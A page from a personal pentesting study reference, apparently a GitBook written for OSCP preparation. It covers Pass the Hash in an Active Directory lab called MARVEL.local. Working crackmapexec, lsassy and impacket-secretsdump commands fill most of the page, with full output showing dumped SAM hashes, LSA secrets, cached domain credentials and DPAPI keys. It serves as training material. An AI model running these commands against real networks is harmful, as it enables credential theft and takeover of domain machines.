Pentesting Quick Reference OSCP and Beyond
  • Basic Tools & Techniques
  • Linux Basics
  • Windows Basics
  • Shells
  • Uploading Shells/ Transferring Files
  • FootPrinting
  • Host Discovery
  • Scanning
  • Vulnerability assessment
  • Metasploit and Meterpreter
    • Payloads
  • Brute Forcing/ Password Cracking
    • Attacking LSASS Passwords
    • Credentials Hunting Windows
    • Credential Hunting in Linux
    • Passwd, Shadow & Opasswd
    • Pass the Hash (PtH)
    • Protected Files
    • Protected Archives
    • Password Policies
    • Password Managers
    • Breached Credentials
    • Mimikatz
  • Linux Remote Management Protocols
  • Windows Remote Management Protocols
  • Port 20/21 - FTP Pentesting
  • Port 23 Telnet
  • Port 25 - SMTP
  • IMAP/ POP3
  • Port 53 DNS
  • Port 445 - SMB
  • Port 111 -RPC Bind
  • Port 135 - RPC
  • Port 137 NetBios
  • Port 161 SNMP
  • Port 1433 - MSSQL
  • Port 1521 Oracle TNS
  • Port 1833 - MQTT
  • Port 2049 - NFS
  • Port 3306 MySQL
  • Port 3389 - RDP
  • Port 5985 - Winrm
  • Port 632 (UDP) IPMI
  • Redis (6379)
  • Port 10000 Webmin
  • Privilege Escalation
    • Windows Priv esc
    • Linux Priv esc
  • Active Directory
    • AD Basics
      • AD Management Basics
    • Initial Enumeration of AD
      • Enumerating AD Users
    • Password Spraying
      • Enumerating & Retrieving Password Policies
      • Password Spraying - Making a Target User List
      • Internal Password Spraying - from Linux
      • Internal Password Spraying - from Windows
      • Enumerating Security Controls
    • LLMNR Poisoning
    • SMB/ NTLM Relay Attacks
    • IPv6 Attacks
      • IPV6 DNS takeover
      • WPAD
    • Passback Attacks
    • AS-REP roasting
    • AD Shell
    • AD Enumeration
      • Credentialed Enumeration - from Linux
      • Credentialed Enumeration - from Windows
      • Living off the Land
      • BloodHound
      • Plumhound
      • Bloodhound CE
      • ldapdomaindump
      • PingCastle
    • Post Compromise
      • Kerberosting
        • Kerberos "Double Hop" Problem
      • Pass Attacks
        • Pass the Hash
        • Pass the Ticket
          • Pass the Ticket (PtT) from Windows
          • Pass the Ticket (PtT) from Linux
      • Token Impersonation
      • LNK File Attacks
      • Miscellaneous Misconfigurations
    • Access Control List (ACL) Abuse Primer
      • ACL Enumeration
      • ACL Abuse Tactics
      • DCSync
        • DCSync Example Forest HTB
    • Post Owning Domain
      • Attacking Active Directory & NTDS.dit 1
      • Golden Ticket Attacks
    • Privilege Escaltion
    • Bleeding Edge Vulnerabilities
    • Domain Trusts
      • Attacking Domain Trusts - Child -> Parent Trusts - from Windows
      • Attacking Domain Trusts - Child -> Parent Trusts - from Linux
      • Attacking Domain Trusts - Cross-Forest Trust Abuse - from Windows
      • Attacking Domain Trusts - Cross-Forest Trust Abuse - from Linux
    • Hardening Active Directory
    • Additional AD Auditing Techniques
    • HTB AD Enumeration & Attacks - Skills Assessment Part I
  • Web Pentesting
    • Subdomains, directories and Vhost listing
    • Command Injection
    • XSS
    • SQL Injection
    • Authentication Bypass
  • Cryptography
  • More Resources
  • Forensics
  • IoT Security
  • API Security
  • Binary Exploitation
    • Assembly Cheatsheat for Hackers
    • Malware Analysis
      • Basic Static Malware Analysis
  • Boxes/ Machines
    • Try Hack Me
      • Vulnversity
      • Basic Pentesting
      • Kenobi
      • Steel Mountain
    • Vulnhub
      • Tiki
    • HTB
      • Beep
      • Active
      • Forest
      • Devel
    • Metasploitable 2
    • PWN.COLLEGE Talking Web
    • PWN COLLGE Web Hacking
  • Private Challenges
    • Pwn
    • Forensics
  • Misc tools
    • NetExec
  • SOC Analyst Resources
  • OSCP Tips and Misc
  • Mobile Hacking
  • Buffer Overflow
  • Wordpress
  • Web3 and Blockchain Security
  • WIFI Hacking
    • WPS Hacking
    • Misc Tools
Powered by GitBook
On this page
  • How to get the hash
  • Crackmapexec PTH
  • Capabilities of crackmapexec
  • CrackMapExec database
  • Dumping Hashes
  1. Active Directory
  2. Post Compromise
  3. Pass Attacks

Pass the Hash

PreviousPass AttacksNextPass the Ticket

Last updated 27 days ago

We can use the password or hash to move literally in the network.

How to get the hash

Metasploit Hashdump

Impacket

Crackmapexec PTH

We can pass a password and sweep the subnet

┌──(kali㉿kali)-[~]
└─$ crackmapexec smb 192.168.145.0/24 -u fcastle -d MARVEL.local -p Password1
SMB         192.168.145.138 445    HYDRA-DC         [*] Windows Server 2022 Build 20348 x64 (name:HYDRA-DC) (domain:MARVEL.local) (signing:True) (SMBv1:False)
SMB         192.168.145.140 445    SPIDERMAN        [*] Windows 10 / Server 2019 Build 19041 x64 (name:SPIDERMAN) (domain:MARVEL.local) (signing:False) (SMBv1:False)
SMB         192.168.145.139 445    THEPUNISHER      [*] Windows 10 / Server 2019 Build 19041 x64 (name:THEPUNISHER) (domain:MARVEL.local) (signing:False) (SMBv1:False)
SMB         192.168.145.138 445    HYDRA-DC         [+] MARVEL.local\fcastle:Password1 
SMB         192.168.145.140 445    SPIDERMAN        [+] MARVEL.local\fcastle:Password1 (Pwn3d!)
SMB         192.168.145.139 445    THEPUNISHER      [+] MARVEL.local\fcastle:Password1 (Pwn3d!)

or We can also pass a hash (Works only on NTLM v1 . V2 can be relayed not passed)

Capabilities of crackmapexec

crackmapexec smb -L
(opens the capabilities list it down)

We can dump SAM, LSA or smbshares

crackmapexec smb <target_ip> -u Administrator -p <password> --sam --local-auth
crackmapexec smb <target_ip> -u Administrator -p <password> --lsa --local-auth
crackmapexec smb <target_ip> -u Administrator -p <password> --shares --local-auth
┌──(kali㉿kali)-[~]
└─$ crackmapexec smb 192.168.145.0/24 -u fcastle -d MARVEL.local -H aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b --sam     
SMB         192.168.145.138 445    HYDRA-DC         [*] Windows Server 2022 Build 20348 x64 (name:HYDRA-DC) (domain:MARVEL.local) (signing:True) (SMBv1:False)
SMB         192.168.145.140 445    SPIDERMAN        [*] Windows 10 / Server 2019 Build 19041 x64 (name:SPIDERMAN) (domain:MARVEL.local) (signing:False) (SMBv1:False)
SMB         192.168.145.139 445    THEPUNISHER      [*] Windows 10 / Server 2019 Build 19041 x64 (name:THEPUNISHER) (domain:MARVEL.local) (signing:False) (SMBv1:False)
SMB         192.168.145.138 445    HYDRA-DC         [+] MARVEL.local\fcastle:64f12cddaa88057e06a81b54e73b949b 
SMB         192.168.145.140 445    SPIDERMAN        [+] MARVEL.local\fcastle:64f12cddaa88057e06a81b54e73b949b (Pwn3d!)
SMB         192.168.145.139 445    THEPUNISHER      [+] MARVEL.local\fcastle:64f12cddaa88057e06a81b54e73b949b (Pwn3d!)
SMB         192.168.145.140 445    SPIDERMAN        [+] Dumping SAM hashes
SMB         192.168.145.139 445    THEPUNISHER      [+] Dumping SAM hashes
SMB         192.168.145.140 445    SPIDERMAN        Administrator:500:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
SMB         192.168.145.140 445    SPIDERMAN        Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         192.168.145.139 445    THEPUNISHER      Administrator:500:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
SMB         192.168.145.139 445    THEPUNISHER      Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         192.168.145.140 445    SPIDERMAN        DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         192.168.145.140 445    SPIDERMAN        WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6c42d69c9d60ac3c1412febf3d04ca76:::
SMB         192.168.145.139 445    THEPUNISHER      DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         192.168.145.140 445    SPIDERMAN        peterparker:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
SMB         192.168.145.140 445    SPIDERMAN        [+] Added 5 SAM hashes to the database
SMB         192.168.145.139 445    THEPUNISHER      WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6578f05068adb3e4a16d3253bd46bacb:::
SMB         192.168.145.139 445    THEPUNISHER      frankcastle:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
SMB         192.168.145.139 445    THEPUNISHER      [+] Added 5 SAM hashes to the database
┌──(kali㉿kali)-[~]
└─$ crackmapexec smb 192.168.145.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b --local-auth --shares
SMB         192.168.145.139 445    THEPUNISHER      [*] Windows 10 / Server 2019 Build 19041 x64 (name:THEPUNISHER) (domain:THEPUNISHER) (signing:False) (SMBv1:False)
SMB         192.168.145.138 445    HYDRA-DC         [*] Windows Server 2022 Build 20348 x64 (name:HYDRA-DC) (domain:HYDRA-DC) (signing:True) (SMBv1:False)
SMB         192.168.145.140 445    SPIDERMAN        [*] Windows 10 / Server 2019 Build 19041 x64 (name:SPIDERMAN) (domain:SPIDERMAN) (signing:False) (SMBv1:False)
SMB         192.168.145.139 445    THEPUNISHER      [+] THEPUNISHER\administrator:64f12cddaa88057e06a81b54e73b949b (Pwn3d!)
SMB         192.168.145.138 445    HYDRA-DC         [-] HYDRA-DC\administrator:64f12cddaa88057e06a81b54e73b949b STATUS_LOGON_FAILURE 
SMB         192.168.145.140 445    SPIDERMAN        [+] SPIDERMAN\administrator:64f12cddaa88057e06a81b54e73b949b (Pwn3d!)
SMB         192.168.145.139 445    THEPUNISHER      [+] Enumerated shares
SMB         192.168.145.139 445    THEPUNISHER      Share           Permissions     Remark
SMB         192.168.145.139 445    THEPUNISHER      -----           -----------     ------
SMB         192.168.145.139 445    THEPUNISHER      ADMIN$          READ,WRITE      Remote Admin
SMB         192.168.145.139 445    THEPUNISHER      C$              READ,WRITE      Default share
SMB         192.168.145.139 445    THEPUNISHER      IPC$            READ            Remote IPC
SMB         192.168.145.140 445    SPIDERMAN        [+] Enumerated shares
SMB         192.168.145.140 445    SPIDERMAN        Share           Permissions     Remark
SMB         192.168.145.140 445    SPIDERMAN        -----           -----------     ------
SMB         192.168.145.140 445    SPIDERMAN        ADMIN$          READ,WRITE      Remote Admin
SMB         192.168.145.140 445    SPIDERMAN        C$              READ,WRITE      Default share
SMB         192.168.145.140 445    SPIDERMAN        IPC$            READ            Remote IPC

Dumping Memory

crackmapexec smb <target_ip> -u <username> -p <password> -M lsassy -o METHOD=nanodump

🔍 --lsa in CrackMapExec

Purpose: Dumps LSA secrets from the registry, such as:

  • Stored service account passwords

  • Cached domain credentials

  • Auto-logon passwords

  • Scheduled task creds

Mechanism: This is a registry read, not a memory dump. It does not touch LSASS directly.

Command Example:

bashCopyEditcrackmapexec smb <target_ip> -u <username> -p <password> --lsa

Requires:

  • Administrator privileges

  • Access to registry remotely

Output Example:

┌──(kali㉿kali)-[~]
└─$ crackmapexec smb 192.168.145.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b --local-auth --lsa   
SMB         192.168.145.139 445    THEPUNISHER      [*] Windows 10 / Server 2019 Build 19041 x64 (name:THEPUNISHER) (domain:THEPUNISHER) (signing:False) (SMBv1:False)
SMB         192.168.145.138 445    HYDRA-DC         [*] Windows Server 2022 Build 20348 x64 (name:HYDRA-DC) (domain:HYDRA-DC) (signing:True) (SMBv1:False)
SMB         192.168.145.140 445    SPIDERMAN        [*] Windows 10 / Server 2019 Build 19041 x64 (name:SPIDERMAN) (domain:SPIDERMAN) (signing:False) (SMBv1:False)
SMB         192.168.145.139 445    THEPUNISHER      [+] THEPUNISHER\administrator:64f12cddaa88057e06a81b54e73b949b (Pwn3d!)
SMB         192.168.145.138 445    HYDRA-DC         [-] HYDRA-DC\administrator:64f12cddaa88057e06a81b54e73b949b STATUS_LOGON_FAILURE 
SMB         192.168.145.140 445    SPIDERMAN        [+] SPIDERMAN\administrator:64f12cddaa88057e06a81b54e73b949b (Pwn3d!)
SMB         192.168.145.139 445    THEPUNISHER      [+] Dumping LSA secrets
SMB         192.168.145.140 445    SPIDERMAN        [+] Dumping LSA secrets
SMB         192.168.145.139 445    THEPUNISHER      MARVEL.LOCAL/fcastle:$DCC2$10240#fcastle#e6f48c2526bd594441d3da3723155f6f: (2025-05-14 05:44:23)
SMB         192.168.145.139 445    THEPUNISHER      MARVEL.LOCAL/Administrator:$DCC2$10240#Administrator#c7154f935b7d1ace4c1d72bd4fb7889c: (2025-05-14 07:44:02)
SMB         192.168.145.140 445    SPIDERMAN        MARVEL.LOCAL/Administrator:$DCC2$10240#Administrator#c7154f935b7d1ace4c1d72bd4fb7889c: (2025-05-14 07:53:16)
SMB         192.168.145.140 445    SPIDERMAN        MARVEL.LOCAL/fcastle:$DCC2$10240#fcastle#e6f48c2526bd594441d3da3723155f6f: (2025-05-16 06:49:57)
SMB         192.168.145.140 445    SPIDERMAN        MARVEL.LOCAL/pparker:$DCC2$10240#pparker#9f28ff35b303d014c9e85e35ab47d019: (2025-05-16 07:00:00)
SMB         192.168.145.139 445    THEPUNISHER      MARVEL\THEPUNISHER$:aes256-cts-hmac-sha1-96:6a98901004c69df5467cd869f4ea7c1f0e5f3d8848a9549a5aa9b7ba3b3150e4
SMB         192.168.145.140 445    SPIDERMAN        MARVEL\SPIDERMAN$:aes256-cts-hmac-sha1-96:c131c1e90e95f1b416556a534b8cb0ee62dd96cc145c46b0eb6d11f73eb1a5d1
SMB         192.168.145.139 445    THEPUNISHER      MARVEL\THEPUNISHER$:aes128-cts-hmac-sha1-96:ec537eb458177012db5ab7997afd825b
SMB         192.168.145.139 445    THEPUNISHER      MARVEL\THEPUNISHER$:des-cbc-md5:cd4af415fb927af4
SMB         192.168.145.139 445    THEPUNISHER      MARVEL\THEPUNISHER$:plain_password_hex:660056004b006300470078004000550048004f00570027007200250059002c002600720020006c00500024005e003a005900580058004e005d006700750041002c002d00590030004400640043002f0037007000480065004400660044005600670067005f00290068007a00570037006a002a003200330075003e00750066004400320064007100700035003600710059003d004f00580055005d0065003d0051002f0059006e00690029002f00590020002d006100270069002c003700550047003500570030005d0056002e00780074004e007a003900450071003f0072006e0045004200300058002c0028006f00                                                                                                                                         
SMB         192.168.145.139 445    THEPUNISHER      MARVEL\THEPUNISHER$:aad3b435b51404eeaad3b435b51404ee:b5458f32b6a10e8482ae7a582f776ab0:::
SMB         192.168.145.139 445    THEPUNISHER      dpapi_machinekey:0x6174875d29cb646655e1dd49c2853691667f78f2
dpapi_userkey:0xa4d2daa834d71945360ce5b8ac5efcf2a02a9c28                                                                                                                                                                                    
SMB         192.168.145.139 445    THEPUNISHER      NL$KM:099fc6f660ef093e30cc5baac7ac5afbca6147502d62b136d659692f82cb81ded820bf99ba900c47109e8ecbf501e2f00c9cfc1abfad667b0311daa4dfcd6063
SMB         192.168.145.139 445    THEPUNISHER      [+] Dumped 9 LSA secrets to /home/kali/.cme/logs/THEPUNISHER_192.168.145.139_2025-05-20_232936.secrets and /home/kali/.cme/logs/THEPUNISHER_192.168.145.139_2025-05-20_232936.cached
SMB         192.168.145.140 445    SPIDERMAN        MARVEL\SPIDERMAN$:aes128-cts-hmac-sha1-96:8234a83db77e524d118254a404aa48b2
SMB         192.168.145.140 445    SPIDERMAN        MARVEL\SPIDERMAN$:des-cbc-md5:61c2c129effe1ab3
SMB         192.168.145.140 445    SPIDERMAN        MARVEL\SPIDERMAN$:plain_password_hex:a2c5160c8c59c6a5e7ef3f304d110706f4365b36debbb27afdd4e37eadabe6443cb79031a728372c0d53558b1275186299aa74515f8c2f839527b86a1e3ef3e7d36273ab39c3117fe8d8c5acf02121b8cb5731bc8b99ec7752fc9bcfd8d78d4886ab65e6596a5cc60f9f86b5eeccdcddc7f5427ded633d50590f5bb16bb24d5ebaae02fc03afad34c6ec421293c3485d59271a713c1f008d4dbd889166d642b89fd6922404566532d775cd5a25a91d770fb8cbf4eca57c45e82b0b05fa33825e5fc47915705f187895da756590e30b45fefb4a348fc33bad9efec57e07c537f7d93689582c4be10f8218dc05b7980a03                                                                                                                                           
SMB         192.168.145.140 445    SPIDERMAN        MARVEL\SPIDERMAN$:aad3b435b51404eeaad3b435b51404ee:8e5314ef4d8a661d84f21118e80ecc9a:::
SMB         192.168.145.140 445    SPIDERMAN        dpapi_machinekey:0x6380f87fdc42b92f622c31e7145a2fab193d5341
dpapi_userkey:0x4214531dfc2db4013de58ed96a7b088c7fbbb6e9                                                                                                                                                                                    
SMB         192.168.145.140 445    SPIDERMAN        NL$KM:b47d88cd15dd2f727f1e5dbbb6086ac5085d53578924e84553154bf44d1483a6a877696579c58b9be2d2adfc665199da58447bb258affaa8c543903649ee4f4d
SMB         192.168.145.140 445    SPIDERMAN        [+] Dumped 10 LSA secrets to /home/kali/.cme/logs/SPIDERMAN_192.168.145.140_2025-05-20_232936.secrets and /home/kali/.cme/logs/SPIDERMAN_192.168.145.140_2025-05-20_232936.cached

🧠 -M lsassy Module

Purpose: Dumps live credentials from LSASS memory, including:

  • Cleartext passwords

  • NTLM hashes

  • Kerberos tickets

Mechanism: Runs a memory dump using a method like procdump, comsvcs, or nanodump, then parses it using lsassy.

Command Example:

bashCopyEditcrackmapexec smb <target_ip> -u <username> -p <password> -M lsassy

Requires:

  • Administrator privileges

  • Ability to execute dump remotely

  • AV/EDR may block it

Output Example:

┌──(kali㉿kali)-[~]
└─$ crackmapexec smb 192.168.145.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b --local-auth -M lsassy
SMB         192.168.145.138 445    HYDRA-DC         [*] Windows Server 2022 Build 20348 x64 (name:HYDRA-DC) (domain:HYDRA-DC) (signing:True) (SMBv1:False)
SMB         192.168.145.139 445    THEPUNISHER      [*] Windows 10 / Server 2019 Build 19041 x64 (name:THEPUNISHER) (domain:THEPUNISHER) (signing:False) (SMBv1:False)
SMB         192.168.145.140 445    SPIDERMAN        [*] Windows 10 / Server 2019 Build 19041 x64 (name:SPIDERMAN) (domain:SPIDERMAN) (signing:False) (SMBv1:False)
SMB         192.168.145.138 445    HYDRA-DC         [-] HYDRA-DC\administrator:64f12cddaa88057e06a81b54e73b949b STATUS_LOGON_FAILURE 
SMB         192.168.145.139 445    THEPUNISHER      [+] THEPUNISHER\administrator:64f12cddaa88057e06a81b54e73b949b (Pwn3d!)
SMB         192.168.145.140 445    SPIDERMAN        [+] SPIDERMAN\administrator:64f12cddaa88057e06a81b54e73b949b (Pwn3d!)

CrackMapExec database

Keeps record of all cracked user accounts

┌──(kali㉿kali)-[~]
└─$ cmedb
cmedb (default)(smb) > creds

+Credentials---------+-----------+-------------+--------------------+-------------------------------------------------------------------+
| CredID | Admin On  | CredType  | Domain      | UserName           | Password                                                          |
+--------+-----------+-----------+-------------+--------------------+-------------------------------------------------------------------+
| 1      | 2 Host(s) | plaintext | MARVEL      | fcastle            | Password1                                                         |
| 2      | 0 Host(s) | hash      | THEPUNISHER | Administrator      | aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b |
| 3      | 0 Host(s) | hash      | SPIDERMAN   | Administrator      | aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b |
| 4      | 0 Host(s) | hash      | THEPUNISHER | Guest              | aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 |
| 5      | 0 Host(s) | hash      | SPIDERMAN   | Guest              | aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 |
| 6      | 0 Host(s) | hash      | THEPUNISHER | DefaultAccount     | aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 |
| 7      | 0 Host(s) | hash      | SPIDERMAN   | DefaultAccount     | aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 |
| 8      | 0 Host(s) | hash      | THEPUNISHER | WDAGUtilityAccount | aad3b435b51404eeaad3b435b51404ee:6578f05068adb3e4a16d3253bd46bacb |
| 9      | 0 Host(s) | hash      | SPIDERMAN   | WDAGUtilityAccount | aad3b435b51404eeaad3b435b51404ee:6c42d69c9d60ac3c1412febf3d04ca76 |
| 10     | 0 Host(s) | hash      | THEPUNISHER | frankcastle        | aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b |
| 11     | 0 Host(s) | hash      | SPIDERMAN   | peterparker        | aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b |
| 12     | 2 Host(s) | hash      | MARVEL      | fcastle            | 64f12cddaa88057e06a81b54e73b949b                                  |
+--------+-----------+-----------+-------------+--------------------+-------------------------------------------------------------------+

Dumping Hashes

Secrets Dump

Dumps SAM as well as other secrets from registry

impacket-secretsdump 'MARVEL.local/fcastle:[email protected]'

Secrets Dump from Hash

┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump 'MARVEL.local/fcastle:[email protected]'                

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xec9be313e502a2aa71fd4e8e4c9999d5
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6578f05068adb3e4a16d3253bd46bacb:::
frankcastle:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
[*] Dumping cached domain logon information (domain/username:hash)
MARVEL.LOCAL/fcastle:$DCC2$10240#fcastle#e6f48c2526bd594441d3da3723155f6f: (2025-05-14 05:44:23)
MARVEL.LOCAL/Administrator:$DCC2$10240#Administrator#c7154f935b7d1ace4c1d72bd4fb7889c: (2025-05-14 07:44:02)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
MARVEL\THEPUNISHER$:aes256-cts-hmac-sha1-96:6a98901004c69df5467cd869f4ea7c1f0e5f3d8848a9549a5aa9b7ba3b3150e4
MARVEL\THEPUNISHER$:aes128-cts-hmac-sha1-96:ec537eb458177012db5ab7997afd825b
MARVEL\THEPUNISHER$:des-cbc-md5:cd4af415fb927af4
MARVEL\THEPUNISHER$:plain_password_hex:660056004b006300470078004000550048004f00570027007200250059002c002600720020006c00500024005e003a005900580058004e005d006700750041002c002d00590030004400640043002f0037007000480065004400660044005600670067005f00290068007a00570037006a002a003200330075003e00750066004400320064007100700035003600710059003d004f00580055005d0065003d0051002f0059006e00690029002f00590020002d006100270069002c003700550047003500570030005d0056002e00780074004e007a003900450071003f0072006e0045004200300058002c0028006f00
MARVEL\THEPUNISHER$:aad3b435b51404eeaad3b435b51404ee:b5458f32b6a10e8482ae7a582f776ab0:::
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x6174875d29cb646655e1dd49c2853691667f78f2
dpapi_userkey:0xa4d2daa834d71945360ce5b8ac5efcf2a02a9c28
[*] NL$KM 
 0000   09 9F C6 F6 60 EF 09 3E  30 CC 5B AA C7 AC 5A FB   ....`..>0.[...Z.
 0010   CA 61 47 50 2D 62 B1 36  D6 59 69 2F 82 CB 81 DE   .aGP-b.6.Yi/....
 0020   D8 20 BF 99 BA 90 0C 47  10 9E 8E CB F5 01 E2 F0   . .....G........
 0030   0C 9C FC 1A BF AD 66 7B  03 11 DA A4 DF CD 60 63   ......f{......`c
NL$KM:099fc6f660ef093e30cc5baac7ac5afbca6147502d62b136d659692f82cb81ded820bf99ba900c47109e8ecbf501e2f00c9cfc1abfad667b0311daa4dfcd6063
[*] Cleaning up... 
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry
Pass the Hash (PtH) | Pentesting Quick Reference OSCP and Beyond
Complete Tutorial
Logo
add --local-auth as we are authenticating locally